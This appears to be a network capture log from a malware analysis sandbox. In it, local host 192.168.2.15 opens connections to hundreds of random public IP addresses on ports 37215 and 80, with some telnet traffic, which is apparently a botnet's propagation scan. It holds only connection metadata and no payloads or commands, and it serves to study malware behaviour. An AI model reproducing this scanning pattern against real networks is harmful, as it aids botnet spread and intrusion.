Mar 13, 2024 09:35:10.318926096 CET	57653	37215	192.168.2.15	156.91.53.49
Mar 13, 2024 09:35:10.318927050 CET	57653	37215	192.168.2.15	197.74.96.193
Mar 13, 2024 09:35:10.318933964 CET	57653	37215	192.168.2.15	197.97.195.85
Mar 13, 2024 09:35:10.318933964 CET	57653	37215	192.168.2.15	156.140.239.55
Mar 13, 2024 09:35:10.318938017 CET	57653	37215	192.168.2.15	41.80.123.253
Mar 13, 2024 09:35:10.318938017 CET	57653	37215	192.168.2.15	41.76.4.252
Mar 13, 2024 09:35:10.318945885 CET	57653	37215	192.168.2.15	197.226.252.226
Mar 13, 2024 09:35:10.318945885 CET	57653	37215	192.168.2.15	197.243.170.210
Mar 13, 2024 09:35:10.318945885 CET	57653	37215	192.168.2.15	156.252.60.254
Mar 13, 2024 09:35:10.318954945 CET	57653	37215	192.168.2.15	41.61.83.3
Mar 13, 2024 09:35:10.318955898 CET	57653	37215	192.168.2.15	156.157.65.236
Mar 13, 2024 09:35:10.318964958 CET	57653	37215	192.168.2.15	197.145.121.207
Mar 13, 2024 09:35:10.318968058 CET	57653	37215	192.168.2.15	156.19.178.221
Mar 13, 2024 09:35:10.318968058 CET	57653	37215	192.168.2.15	41.98.121.243
Mar 13, 2024 09:35:10.318968058 CET	57653	37215	192.168.2.15	197.180.250.211
Mar 13, 2024 09:35:10.318968058 CET	57653	37215	192.168.2.15	41.235.13.202
Mar 13, 2024 09:35:10.394120932 CET	23	55500	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:10.394447088 CET	23	55502	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:10.394519091 CET	55502	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:10.418642998 CET	37215	57653	156.73.214.115	192.168.2.15
Mar 13, 2024 09:35:10.418709993 CET	57653	37215	192.168.2.15	156.73.214.115
Mar 13, 2024 09:35:10.574685097 CET	37215	57653	197.131.156.175	192.168.2.15
Mar 13, 2024 09:35:10.591263056 CET	23	55502	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:10.591357946 CET	55502	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:10.591527939 CET	55504	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:10.630765915 CET	37215	57653	197.220.114.82	192.168.2.15
Mar 13, 2024 09:35:10.632153034 CET	37215	57653	197.245.233.145	192.168.2.15
Mar 13, 2024 09:35:10.638710976 CET	57141	80	192.168.2.15	44.160.159.34
Mar 13, 2024 09:35:10.638722897 CET	57141	80	192.168.2.15	93.179.49.233
Mar 13, 2024 09:35:10.638725996 CET	57141	80	192.168.2.15	167.156.242.160
Mar 13, 2024 09:35:10.638767004 CET	57141	80	192.168.2.15	180.121.252.185
Mar 13, 2024 09:35:10.638767004 CET	57141	80	192.168.2.15	68.172.93.53
Mar 13, 2024 09:35:10.638770103 CET	57141	80	192.168.2.15	17.241.253.120
Mar 13, 2024 09:35:10.638768911 CET	57141	80	192.168.2.15	103.121.31.144
Mar 13, 2024 09:35:10.638768911 CET	57141	80	192.168.2.15	17.202.222.116
Mar 13, 2024 09:35:10.638772964 CET	57141	80	192.168.2.15	144.204.202.174
Mar 13, 2024 09:35:10.638782024 CET	57141	80	192.168.2.15	62.167.74.69
Mar 13, 2024 09:35:10.638784885 CET	57141	80	192.168.2.15	37.194.92.162
Mar 13, 2024 09:35:10.638784885 CET	57141	80	192.168.2.15	135.120.98.178
Mar 13, 2024 09:35:10.638784885 CET	57141	80	192.168.2.15	65.214.209.81
Mar 13, 2024 09:35:10.638784885 CET	57141	80	192.168.2.15	157.4.151.110
Mar 13, 2024 09:35:10.638788939 CET	57141	80	192.168.2.15	151.192.231.209
Mar 13, 2024 09:35:10.638788939 CET	57141	80	192.168.2.15	17.166.174.193
Mar 13, 2024 09:35:10.638799906 CET	57141	80	192.168.2.15	221.181.246.239
Mar 13, 2024 09:35:10.638799906 CET	57141	80	192.168.2.15	130.138.75.214
Mar 13, 2024 09:35:10.638801098 CET	57141	80	192.168.2.15	72.90.170.251
Mar 13, 2024 09:35:10.638816118 CET	57141	80	192.168.2.15	34.87.41.55
Mar 13, 2024 09:35:10.638816118 CET	57141	80	192.168.2.15	45.179.137.159
Mar 13, 2024 09:35:10.638819933 CET	57141	80	192.168.2.15	176.15.18.212
Mar 13, 2024 09:35:10.638828993 CET	57141	80	192.168.2.15	14.48.153.84
Mar 13, 2024 09:35:10.638840914 CET	57141	80	192.168.2.15	175.220.222.198
Mar 13, 2024 09:35:10.638860941 CET	57141	80	192.168.2.15	20.247.210.221
Mar 13, 2024 09:35:10.638864040 CET	57141	80	192.168.2.15	114.100.79.124
Mar 13, 2024 09:35:10.638864040 CET	57141	80	192.168.2.15	202.77.210.189
Mar 13, 2024 09:35:10.638868093 CET	57141	80	192.168.2.15	210.24.200.246
Mar 13, 2024 09:35:10.638873100 CET	57141	80	192.168.2.15	159.4.134.173
Mar 13, 2024 09:35:10.638873100 CET	57141	80	192.168.2.15	23.13.88.4
Mar 13, 2024 09:35:10.638874054 CET	57141	80	192.168.2.15	167.127.80.189
Mar 13, 2024 09:35:10.638874054 CET	57141	80	192.168.2.15	46.95.15.121
Mar 13, 2024 09:35:10.638875008 CET	57141	80	192.168.2.15	176.113.1.209
Mar 13, 2024 09:35:10.638887882 CET	57141	80	192.168.2.15	206.44.173.124
Mar 13, 2024 09:35:10.638887882 CET	57141	80	192.168.2.15	77.103.127.196
Mar 13, 2024 09:35:10.638892889 CET	57141	80	192.168.2.15	51.100.210.118
Mar 13, 2024 09:35:10.638904095 CET	57141	80	192.168.2.15	123.28.91.125
Mar 13, 2024 09:35:10.638914108 CET	57141	80	192.168.2.15	157.57.229.2
Mar 13, 2024 09:35:10.638914108 CET	57141	80	192.168.2.15	136.25.173.75
Mar 13, 2024 09:35:10.638926983 CET	57141	80	192.168.2.15	104.245.181.205
Mar 13, 2024 09:35:10.638936043 CET	57141	80	192.168.2.15	223.139.42.239
Mar 13, 2024 09:35:10.638936043 CET	57141	80	192.168.2.15	192.63.244.161
Mar 13, 2024 09:35:10.638936043 CET	57141	80	192.168.2.15	107.167.142.147
Mar 13, 2024 09:35:10.638955116 CET	57141	80	192.168.2.15	118.53.162.49
Mar 13, 2024 09:35:10.638955116 CET	57141	80	192.168.2.15	133.123.56.166
Mar 13, 2024 09:35:10.638959885 CET	57141	80	192.168.2.15	49.73.134.31
Mar 13, 2024 09:35:10.638962030 CET	57141	80	192.168.2.15	48.148.34.115
Mar 13, 2024 09:35:10.638981104 CET	57141	80	192.168.2.15	105.243.54.16
Mar 13, 2024 09:35:10.638983011 CET	57141	80	192.168.2.15	106.110.18.74
Mar 13, 2024 09:35:10.638983011 CET	57141	80	192.168.2.15	31.49.240.158
Mar 13, 2024 09:35:10.638983965 CET	57141	80	192.168.2.15	208.119.134.214
Mar 13, 2024 09:35:10.638983965 CET	57141	80	192.168.2.15	58.126.119.120
Mar 13, 2024 09:35:10.638994932 CET	57141	80	192.168.2.15	52.104.168.201
Mar 13, 2024 09:35:10.638994932 CET	57141	80	192.168.2.15	207.236.223.240
Mar 13, 2024 09:35:10.639000893 CET	57141	80	192.168.2.15	203.251.62.178
Mar 13, 2024 09:35:10.639014006 CET	57141	80	192.168.2.15	64.22.162.207
Mar 13, 2024 09:35:10.639025927 CET	57141	80	192.168.2.15	176.131.161.19
Mar 13, 2024 09:35:10.639027119 CET	57141	80	192.168.2.15	111.83.191.124
Mar 13, 2024 09:35:10.639039040 CET	57141	80	192.168.2.15	151.202.190.196
Mar 13, 2024 09:35:10.639039993 CET	57141	80	192.168.2.15	2.247.70.229
Mar 13, 2024 09:35:10.639039040 CET	57141	80	192.168.2.15	158.111.85.211
Mar 13, 2024 09:35:10.639045000 CET	57141	80	192.168.2.15	192.253.171.114
Mar 13, 2024 09:35:10.639045954 CET	57141	80	192.168.2.15	44.183.196.14
Mar 13, 2024 09:35:10.639045954 CET	57141	80	192.168.2.15	111.67.189.249
Mar 13, 2024 09:35:10.639049053 CET	57141	80	192.168.2.15	50.235.99.250
Mar 13, 2024 09:35:10.639056921 CET	57141	80	192.168.2.15	103.114.23.206
Mar 13, 2024 09:35:10.639076948 CET	57141	80	192.168.2.15	60.210.83.195
Mar 13, 2024 09:35:10.639096975 CET	57141	80	192.168.2.15	134.241.32.15
Mar 13, 2024 09:35:10.639096975 CET	57141	80	192.168.2.15	163.63.30.113
Mar 13, 2024 09:35:10.639096975 CET	57141	80	192.168.2.15	209.35.41.63
Mar 13, 2024 09:35:10.639096975 CET	57141	80	192.168.2.15	8.60.38.19
Mar 13, 2024 09:35:10.639106035 CET	57141	80	192.168.2.15	218.121.94.165
Mar 13, 2024 09:35:10.639106035 CET	57141	80	192.168.2.15	209.91.13.220
Mar 13, 2024 09:35:10.639106989 CET	57141	80	192.168.2.15	40.132.55.243
Mar 13, 2024 09:35:10.639115095 CET	57141	80	192.168.2.15	5.45.252.36
Mar 13, 2024 09:35:10.639115095 CET	57141	80	192.168.2.15	178.139.148.162
Mar 13, 2024 09:35:10.639115095 CET	57141	80	192.168.2.15	105.26.35.153
Mar 13, 2024 09:35:10.639115095 CET	57141	80	192.168.2.15	130.219.35.225
Mar 13, 2024 09:35:10.639121056 CET	57141	80	192.168.2.15	170.228.254.254
Mar 13, 2024 09:35:10.639122963 CET	57141	80	192.168.2.15	218.171.111.73
Mar 13, 2024 09:35:10.639123917 CET	57141	80	192.168.2.15	217.146.50.183
Mar 13, 2024 09:35:10.639132023 CET	57141	80	192.168.2.15	207.67.64.235
Mar 13, 2024 09:35:10.639139891 CET	57141	80	192.168.2.15	187.230.181.40
Mar 13, 2024 09:35:10.639142036 CET	57141	80	192.168.2.15	106.56.251.42
Mar 13, 2024 09:35:10.639142036 CET	57141	80	192.168.2.15	47.89.238.90
Mar 13, 2024 09:35:10.639149904 CET	57141	80	192.168.2.15	187.14.106.27
Mar 13, 2024 09:35:10.639164925 CET	57141	80	192.168.2.15	104.185.159.75
Mar 13, 2024 09:35:10.639168024 CET	57141	80	192.168.2.15	17.218.115.178
Mar 13, 2024 09:35:10.639173985 CET	57141	80	192.168.2.15	9.174.53.188
Mar 13, 2024 09:35:10.639178038 CET	57141	80	192.168.2.15	31.131.231.8
Mar 13, 2024 09:35:10.639178038 CET	57141	80	192.168.2.15	134.123.48.35
Mar 13, 2024 09:35:10.639178038 CET	57141	80	192.168.2.15	104.240.1.112
Mar 13, 2024 09:35:10.639178991 CET	57141	80	192.168.2.15	132.246.141.65
Mar 13, 2024 09:35:10.639189959 CET	57141	80	192.168.2.15	76.106.8.164
Mar 13, 2024 09:35:10.639192104 CET	57141	80	192.168.2.15	103.123.237.213
Mar 13, 2024 09:35:10.639192104 CET	57141	80	192.168.2.15	84.120.18.124
Mar 13, 2024 09:35:10.639192104 CET	57141	80	192.168.2.15	144.20.17.174
Mar 13, 2024 09:35:10.639195919 CET	57141	80	192.168.2.15	222.111.210.179
Mar 13, 2024 09:35:10.639202118 CET	57141	80	192.168.2.15	180.200.135.89
Mar 13, 2024 09:35:10.639214993 CET	57141	80	192.168.2.15	190.30.124.228
Mar 13, 2024 09:35:10.639219999 CET	57141	80	192.168.2.15	203.116.127.23
Mar 13, 2024 09:35:10.639219999 CET	57141	80	192.168.2.15	42.88.224.151
Mar 13, 2024 09:35:10.639223099 CET	57141	80	192.168.2.15	113.172.7.233
Mar 13, 2024 09:35:10.639223099 CET	57141	80	192.168.2.15	119.242.66.184
Mar 13, 2024 09:35:10.639229059 CET	57141	80	192.168.2.15	222.165.148.168
Mar 13, 2024 09:35:10.639235020 CET	57141	80	192.168.2.15	49.172.122.154
Mar 13, 2024 09:35:10.639236927 CET	57141	80	192.168.2.15	86.252.213.122
Mar 13, 2024 09:35:10.639236927 CET	57141	80	192.168.2.15	170.137.11.120
Mar 13, 2024 09:35:10.639236927 CET	57141	80	192.168.2.15	199.110.69.112
Mar 13, 2024 09:35:10.639255047 CET	57141	80	192.168.2.15	135.230.121.192
Mar 13, 2024 09:35:10.639255047 CET	57141	80	192.168.2.15	100.176.0.132
Mar 13, 2024 09:35:10.639266014 CET	57141	80	192.168.2.15	202.35.79.106
Mar 13, 2024 09:35:10.639267921 CET	57141	80	192.168.2.15	184.105.7.113
Mar 13, 2024 09:35:10.639273882 CET	57141	80	192.168.2.15	40.62.77.96
Mar 13, 2024 09:35:10.639276981 CET	57141	80	192.168.2.15	201.183.233.66
Mar 13, 2024 09:35:10.639292002 CET	57141	80	192.168.2.15	54.60.48.196
Mar 13, 2024 09:35:10.639292955 CET	57141	80	192.168.2.15	188.113.133.101
Mar 13, 2024 09:35:10.639292955 CET	57141	80	192.168.2.15	125.127.98.27
Mar 13, 2024 09:35:10.639297009 CET	57141	80	192.168.2.15	78.107.206.36
Mar 13, 2024 09:35:10.639300108 CET	57141	80	192.168.2.15	47.174.122.132
Mar 13, 2024 09:35:10.639300108 CET	57141	80	192.168.2.15	85.182.131.197
Mar 13, 2024 09:35:10.639302969 CET	57141	80	192.168.2.15	199.109.170.196
Mar 13, 2024 09:35:10.639311075 CET	57141	80	192.168.2.15	49.250.5.130
Mar 13, 2024 09:35:10.639319897 CET	57141	80	192.168.2.15	40.182.101.201
Mar 13, 2024 09:35:10.639319897 CET	57141	80	192.168.2.15	148.59.164.194
Mar 13, 2024 09:35:10.639343023 CET	57141	80	192.168.2.15	87.108.15.179
Mar 13, 2024 09:35:10.639348030 CET	57141	80	192.168.2.15	31.21.243.51
Mar 13, 2024 09:35:10.639348030 CET	57141	80	192.168.2.15	51.215.152.193
Mar 13, 2024 09:35:10.639352083 CET	57141	80	192.168.2.15	92.6.201.220
Mar 13, 2024 09:35:10.639352083 CET	57141	80	192.168.2.15	183.74.183.83
Mar 13, 2024 09:35:10.639353037 CET	57141	80	192.168.2.15	143.29.55.157
Mar 13, 2024 09:35:10.639358044 CET	57141	80	192.168.2.15	203.202.223.201
Mar 13, 2024 09:35:10.639372110 CET	57141	80	192.168.2.15	154.201.13.11
Mar 13, 2024 09:35:10.639391899 CET	57141	80	192.168.2.15	128.165.252.58
Mar 13, 2024 09:35:10.639391899 CET	57141	80	192.168.2.15	1.164.13.253
Mar 13, 2024 09:35:10.639401913 CET	57141	80	192.168.2.15	123.47.162.219
Mar 13, 2024 09:35:10.639401913 CET	57141	80	192.168.2.15	136.96.238.230
Mar 13, 2024 09:35:10.639401913 CET	57141	80	192.168.2.15	197.104.78.198
Mar 13, 2024 09:35:10.639404058 CET	57141	80	192.168.2.15	59.254.90.101
Mar 13, 2024 09:35:10.639420033 CET	57141	80	192.168.2.15	119.36.211.196
Mar 13, 2024 09:35:10.639420986 CET	57141	80	192.168.2.15	119.212.111.181
Mar 13, 2024 09:35:10.639420986 CET	57141	80	192.168.2.15	198.150.77.117
Mar 13, 2024 09:35:10.639420986 CET	57141	80	192.168.2.15	95.172.80.180
Mar 13, 2024 09:35:10.639420986 CET	57141	80	192.168.2.15	197.131.117.0
Mar 13, 2024 09:35:10.639425039 CET	57141	80	192.168.2.15	201.211.92.202
Mar 13, 2024 09:35:10.639425993 CET	57141	80	192.168.2.15	162.88.136.148
Mar 13, 2024 09:35:10.639431953 CET	57141	80	192.168.2.15	53.181.227.86
Mar 13, 2024 09:35:10.639431953 CET	57141	80	192.168.2.15	95.152.176.232
Mar 13, 2024 09:35:10.639432907 CET	57141	80	192.168.2.15	34.10.176.182
Mar 13, 2024 09:35:10.639434099 CET	57141	80	192.168.2.15	35.33.160.227
Mar 13, 2024 09:35:10.639444113 CET	57141	80	192.168.2.15	27.82.42.247
Mar 13, 2024 09:35:10.639456034 CET	57141	80	192.168.2.15	142.226.29.248
Mar 13, 2024 09:35:10.639462948 CET	57141	80	192.168.2.15	178.228.172.87
Mar 13, 2024 09:35:10.639467001 CET	57141	80	192.168.2.15	104.109.74.4
Mar 13, 2024 09:35:10.639473915 CET	57141	80	192.168.2.15	92.14.227.141
Mar 13, 2024 09:35:10.639478922 CET	57141	80	192.168.2.15	2.17.173.86
Mar 13, 2024 09:35:10.639478922 CET	57141	80	192.168.2.15	164.185.50.176
Mar 13, 2024 09:35:10.639480114 CET	57141	80	192.168.2.15	2.63.87.145
Mar 13, 2024 09:35:10.639482975 CET	57141	80	192.168.2.15	186.37.244.224
Mar 13, 2024 09:35:10.639487028 CET	57141	80	192.168.2.15	32.76.254.176
Mar 13, 2024 09:35:10.639487982 CET	57141	80	192.168.2.15	206.118.126.58
Mar 13, 2024 09:35:10.639491081 CET	57141	80	192.168.2.15	179.39.189.17
Mar 13, 2024 09:35:10.639487982 CET	57141	80	192.168.2.15	73.145.133.195
Mar 13, 2024 09:35:10.639488935 CET	57141	80	192.168.2.15	31.135.208.12
Mar 13, 2024 09:35:10.639498949 CET	57141	80	192.168.2.15	93.100.244.29
Mar 13, 2024 09:35:10.639504910 CET	57141	80	192.168.2.15	195.150.145.23
Mar 13, 2024 09:35:10.639504910 CET	57141	80	192.168.2.15	128.225.75.142
Mar 13, 2024 09:35:10.639504910 CET	57141	80	192.168.2.15	200.15.174.179
Mar 13, 2024 09:35:10.639504910 CET	57141	80	192.168.2.15	88.177.242.138
Mar 13, 2024 09:35:10.639508963 CET	57141	80	192.168.2.15	141.87.136.188
Mar 13, 2024 09:35:10.639508963 CET	57141	80	192.168.2.15	102.170.64.114
Mar 13, 2024 09:35:10.639519930 CET	57141	80	192.168.2.15	110.48.154.71
Mar 13, 2024 09:35:10.639519930 CET	57141	80	192.168.2.15	133.138.189.45
Mar 13, 2024 09:35:10.639519930 CET	57141	80	192.168.2.15	100.175.217.10
Mar 13, 2024 09:35:10.639529943 CET	57141	80	192.168.2.15	176.101.146.107
Mar 13, 2024 09:35:10.639532089 CET	57141	80	192.168.2.15	64.167.136.67
Mar 13, 2024 09:35:10.639537096 CET	57141	80	192.168.2.15	136.136.96.83
Mar 13, 2024 09:35:10.639539003 CET	57141	80	192.168.2.15	140.80.57.210
Mar 13, 2024 09:35:10.639545918 CET	57141	80	192.168.2.15	98.191.222.157
Mar 13, 2024 09:35:10.639553070 CET	57141	80	192.168.2.15	170.249.230.29
Mar 13, 2024 09:35:10.639559031 CET	57141	80	192.168.2.15	8.156.65.213
Mar 13, 2024 09:35:10.639560938 CET	57141	80	192.168.2.15	136.11.141.41
Mar 13, 2024 09:35:10.639561892 CET	57141	80	192.168.2.15	62.249.143.173
Mar 13, 2024 09:35:10.639566898 CET	57141	80	192.168.2.15	17.172.101.143
Mar 13, 2024 09:35:10.639566898 CET	57141	80	192.168.2.15	58.69.203.78
Mar 13, 2024 09:35:10.639566898 CET	57141	80	192.168.2.15	174.212.220.139
Mar 13, 2024 09:35:10.639566898 CET	57141	80	192.168.2.15	48.68.81.183
Mar 13, 2024 09:35:10.639585018 CET	57141	80	192.168.2.15	104.216.4.16
Mar 13, 2024 09:35:10.639600992 CET	57141	80	192.168.2.15	40.54.233.219
Mar 13, 2024 09:35:10.639600992 CET	57141	80	192.168.2.15	37.69.28.95
Mar 13, 2024 09:35:10.639600992 CET	57141	80	192.168.2.15	1.178.1.41
Mar 13, 2024 09:35:10.639607906 CET	57141	80	192.168.2.15	201.214.56.80
Mar 13, 2024 09:35:10.639607906 CET	57141	80	192.168.2.15	4.89.208.79
Mar 13, 2024 09:35:10.639615059 CET	57141	80	192.168.2.15	52.231.164.29
Mar 13, 2024 09:35:10.639620066 CET	57141	80	192.168.2.15	71.241.32.105
Mar 13, 2024 09:35:10.639621973 CET	57141	80	192.168.2.15	63.63.188.167
Mar 13, 2024 09:35:10.639645100 CET	57141	80	192.168.2.15	207.188.166.189
Mar 13, 2024 09:35:10.639646053 CET	57141	80	192.168.2.15	69.55.28.141
Mar 13, 2024 09:35:10.639645100 CET	57141	80	192.168.2.15	218.92.106.179
Mar 13, 2024 09:35:10.639647961 CET	57141	80	192.168.2.15	203.198.101.134
Mar 13, 2024 09:35:10.639645100 CET	57141	80	192.168.2.15	31.50.231.75
Mar 13, 2024 09:35:10.639647007 CET	57141	80	192.168.2.15	111.219.181.215
Mar 13, 2024 09:35:10.639646053 CET	57141	80	192.168.2.15	104.118.77.135
Mar 13, 2024 09:35:10.639656067 CET	57141	80	192.168.2.15	125.138.1.197
Mar 13, 2024 09:35:10.639666080 CET	57141	80	192.168.2.15	223.253.140.54
Mar 13, 2024 09:35:10.639666080 CET	57141	80	192.168.2.15	222.110.81.188
Mar 13, 2024 09:35:10.639666080 CET	57141	80	192.168.2.15	18.73.116.198
Mar 13, 2024 09:35:10.639666080 CET	57141	80	192.168.2.15	87.45.10.214
Mar 13, 2024 09:35:10.639672041 CET	57141	80	192.168.2.15	133.246.82.231
Mar 13, 2024 09:35:10.639673948 CET	57141	80	192.168.2.15	23.111.127.205
Mar 13, 2024 09:35:10.639673948 CET	57141	80	192.168.2.15	59.35.82.227
Mar 13, 2024 09:35:10.639679909 CET	57141	80	192.168.2.15	184.187.162.179
Mar 13, 2024 09:35:10.639681101 CET	57141	80	192.168.2.15	217.233.185.154
Mar 13, 2024 09:35:10.639700890 CET	57141	80	192.168.2.15	113.23.147.58
Mar 13, 2024 09:35:10.639702082 CET	57141	80	192.168.2.15	141.211.190.105
Mar 13, 2024 09:35:10.639704943 CET	57141	80	192.168.2.15	66.66.189.47
Mar 13, 2024 09:35:10.639705896 CET	57141	80	192.168.2.15	209.179.72.131
Mar 13, 2024 09:35:10.639708042 CET	57141	80	192.168.2.15	19.67.66.192
Mar 13, 2024 09:35:10.639712095 CET	57141	80	192.168.2.15	162.131.18.160
Mar 13, 2024 09:35:10.639708042 CET	57141	80	192.168.2.15	165.157.151.18
Mar 13, 2024 09:35:10.639724016 CET	57141	80	192.168.2.15	102.35.119.208
Mar 13, 2024 09:35:10.639724970 CET	57141	80	192.168.2.15	160.243.106.224
Mar 13, 2024 09:35:10.639724970 CET	57141	80	192.168.2.15	53.24.227.186
Mar 13, 2024 09:35:10.639735937 CET	57141	80	192.168.2.15	111.93.238.24
Mar 13, 2024 09:35:10.639741898 CET	57141	80	192.168.2.15	86.65.129.90
Mar 13, 2024 09:35:10.639749050 CET	57141	80	192.168.2.15	176.67.233.145
Mar 13, 2024 09:35:10.639760017 CET	57141	80	192.168.2.15	115.182.251.237
Mar 13, 2024 09:35:10.639765978 CET	57141	80	192.168.2.15	185.255.72.88
Mar 13, 2024 09:35:10.639771938 CET	57141	80	192.168.2.15	129.225.177.75
Mar 13, 2024 09:35:10.639772892 CET	57141	80	192.168.2.15	166.202.214.211
Mar 13, 2024 09:35:10.639790058 CET	57141	80	192.168.2.15	156.238.14.101
Mar 13, 2024 09:35:10.639790058 CET	57141	80	192.168.2.15	51.50.63.51
Mar 13, 2024 09:35:10.639811039 CET	57141	80	192.168.2.15	134.56.196.46
Mar 13, 2024 09:35:10.639811039 CET	57141	80	192.168.2.15	132.138.178.207
Mar 13, 2024 09:35:10.639820099 CET	57141	80	192.168.2.15	86.121.216.251
Mar 13, 2024 09:35:10.639823914 CET	57141	80	192.168.2.15	193.70.7.32
Mar 13, 2024 09:35:10.639825106 CET	57141	80	192.168.2.15	80.63.150.15
Mar 13, 2024 09:35:10.639826059 CET	57141	80	192.168.2.15	108.197.161.128
Mar 13, 2024 09:35:10.639827967 CET	57141	80	192.168.2.15	60.197.250.147
Mar 13, 2024 09:35:10.639832020 CET	57141	80	192.168.2.15	152.251.154.31
Mar 13, 2024 09:35:10.639842033 CET	57141	80	192.168.2.15	163.63.26.144
Mar 13, 2024 09:35:10.639853954 CET	57141	80	192.168.2.15	5.186.205.166
Mar 13, 2024 09:35:10.639853954 CET	57141	80	192.168.2.15	122.206.76.183
Mar 13, 2024 09:35:10.639858961 CET	57141	80	192.168.2.15	195.171.50.12
Mar 13, 2024 09:35:10.639858961 CET	57141	80	192.168.2.15	133.11.32.174
Mar 13, 2024 09:35:10.639863014 CET	57141	80	192.168.2.15	123.203.2.254
Mar 13, 2024 09:35:10.639863014 CET	57141	80	192.168.2.15	67.73.226.153
Mar 13, 2024 09:35:10.639867067 CET	57141	80	192.168.2.15	66.178.78.173
Mar 13, 2024 09:35:10.639867067 CET	57141	80	192.168.2.15	39.132.202.145
Mar 13, 2024 09:35:10.639870882 CET	57141	80	192.168.2.15	189.0.35.57
Mar 13, 2024 09:35:10.639873981 CET	57141	80	192.168.2.15	59.93.25.153
Mar 13, 2024 09:35:10.639880896 CET	57141	80	192.168.2.15	163.89.59.116
Mar 13, 2024 09:35:10.639880896 CET	57141	80	192.168.2.15	174.0.135.138
Mar 13, 2024 09:35:10.639883041 CET	57141	80	192.168.2.15	96.37.134.3
Mar 13, 2024 09:35:10.639898062 CET	57141	80	192.168.2.15	206.147.143.21
Mar 13, 2024 09:35:10.639898062 CET	57141	80	192.168.2.15	17.232.143.232
Mar 13, 2024 09:35:10.639899015 CET	57141	80	192.168.2.15	107.71.246.221
Mar 13, 2024 09:35:10.639904022 CET	57141	80	192.168.2.15	64.168.193.88
Mar 13, 2024 09:35:10.639909983 CET	57141	80	192.168.2.15	81.229.16.52
Mar 13, 2024 09:35:10.639909983 CET	57141	80	192.168.2.15	120.38.221.131
Mar 13, 2024 09:35:10.639914036 CET	57141	80	192.168.2.15	49.82.48.115
Mar 13, 2024 09:35:10.639914036 CET	57141	80	192.168.2.15	46.4.121.15
Mar 13, 2024 09:35:10.639925957 CET	57141	80	192.168.2.15	199.41.87.154
Mar 13, 2024 09:35:10.639934063 CET	57141	80	192.168.2.15	27.21.20.93
Mar 13, 2024 09:35:10.639949083 CET	57141	80	192.168.2.15	140.220.28.209
Mar 13, 2024 09:35:10.639950991 CET	57141	80	192.168.2.15	104.105.148.212
Mar 13, 2024 09:35:10.639952898 CET	57141	80	192.168.2.15	107.203.182.52
Mar 13, 2024 09:35:10.639952898 CET	57141	80	192.168.2.15	67.62.12.39
Mar 13, 2024 09:35:10.639966965 CET	57141	80	192.168.2.15	27.155.155.47
Mar 13, 2024 09:35:10.639966965 CET	57141	80	192.168.2.15	207.186.23.113
Mar 13, 2024 09:35:10.639966965 CET	57141	80	192.168.2.15	132.76.113.107
Mar 13, 2024 09:35:10.639966965 CET	57141	80	192.168.2.15	112.5.125.206
Mar 13, 2024 09:35:10.639971972 CET	57141	80	192.168.2.15	138.235.25.106
Mar 13, 2024 09:35:10.639974117 CET	57141	80	192.168.2.15	199.105.143.140
Mar 13, 2024 09:35:10.639974117 CET	57141	80	192.168.2.15	204.38.213.33
Mar 13, 2024 09:35:10.639981031 CET	57141	80	192.168.2.15	140.192.64.25
Mar 13, 2024 09:35:10.639998913 CET	57141	80	192.168.2.15	152.248.179.13
Mar 13, 2024 09:35:10.639998913 CET	57141	80	192.168.2.15	161.68.136.248
Mar 13, 2024 09:35:10.640000105 CET	57141	80	192.168.2.15	148.190.103.64
Mar 13, 2024 09:35:10.640002966 CET	57141	80	192.168.2.15	152.195.227.136
Mar 13, 2024 09:35:10.640005112 CET	57141	80	192.168.2.15	178.96.228.76
Mar 13, 2024 09:35:10.640005112 CET	57141	80	192.168.2.15	66.110.7.93
Mar 13, 2024 09:35:10.640005112 CET	57141	80	192.168.2.15	144.127.201.118
Mar 13, 2024 09:35:10.640013933 CET	57141	80	192.168.2.15	27.176.99.129
Mar 13, 2024 09:35:10.640036106 CET	57141	80	192.168.2.15	108.193.208.255
Mar 13, 2024 09:35:10.640034914 CET	57141	80	192.168.2.15	81.209.19.63
Mar 13, 2024 09:35:10.640038013 CET	57141	80	192.168.2.15	141.116.231.50
Mar 13, 2024 09:35:10.640036106 CET	57141	80	192.168.2.15	128.46.198.88
Mar 13, 2024 09:35:10.640045881 CET	57141	80	192.168.2.15	191.247.76.132
Mar 13, 2024 09:35:10.640045881 CET	57141	80	192.168.2.15	122.11.149.34
Mar 13, 2024 09:35:10.640058041 CET	57141	80	192.168.2.15	179.169.105.37
Mar 13, 2024 09:35:10.640058994 CET	57141	80	192.168.2.15	99.36.175.126
Mar 13, 2024 09:35:10.640067101 CET	57141	80	192.168.2.15	207.251.223.97
Mar 13, 2024 09:35:10.640068054 CET	57141	80	192.168.2.15	117.153.148.105
Mar 13, 2024 09:35:10.640067101 CET	57141	80	192.168.2.15	4.167.244.232
Mar 13, 2024 09:35:10.640068054 CET	57141	80	192.168.2.15	191.24.104.203
Mar 13, 2024 09:35:10.640067101 CET	57141	80	192.168.2.15	74.53.192.42
Mar 13, 2024 09:35:10.640081882 CET	57141	80	192.168.2.15	27.78.219.254
Mar 13, 2024 09:35:10.640083075 CET	57141	80	192.168.2.15	193.252.232.140
Mar 13, 2024 09:35:10.640083075 CET	57141	80	192.168.2.15	109.159.68.33
Mar 13, 2024 09:35:10.640084028 CET	57141	80	192.168.2.15	97.250.161.51
Mar 13, 2024 09:35:10.640084028 CET	57141	80	192.168.2.15	34.223.244.60
Mar 13, 2024 09:35:10.640084028 CET	57141	80	192.168.2.15	111.94.115.134
Mar 13, 2024 09:35:10.640084028 CET	57141	80	192.168.2.15	159.142.211.56
Mar 13, 2024 09:35:10.640100956 CET	57141	80	192.168.2.15	189.105.165.27
Mar 13, 2024 09:35:10.640100956 CET	57141	80	192.168.2.15	69.42.62.239
Mar 13, 2024 09:35:10.640101910 CET	57141	80	192.168.2.15	37.142.164.193
Mar 13, 2024 09:35:10.640101910 CET	57141	80	192.168.2.15	158.85.138.179
Mar 13, 2024 09:35:10.640125036 CET	57141	80	192.168.2.15	14.245.102.246
Mar 13, 2024 09:35:10.640125036 CET	57141	80	192.168.2.15	104.105.71.170
Mar 13, 2024 09:35:10.640131950 CET	57141	80	192.168.2.15	98.188.165.153
Mar 13, 2024 09:35:10.640139103 CET	57141	80	192.168.2.15	221.90.83.119
Mar 13, 2024 09:35:10.640139103 CET	57141	80	192.168.2.15	217.144.66.98
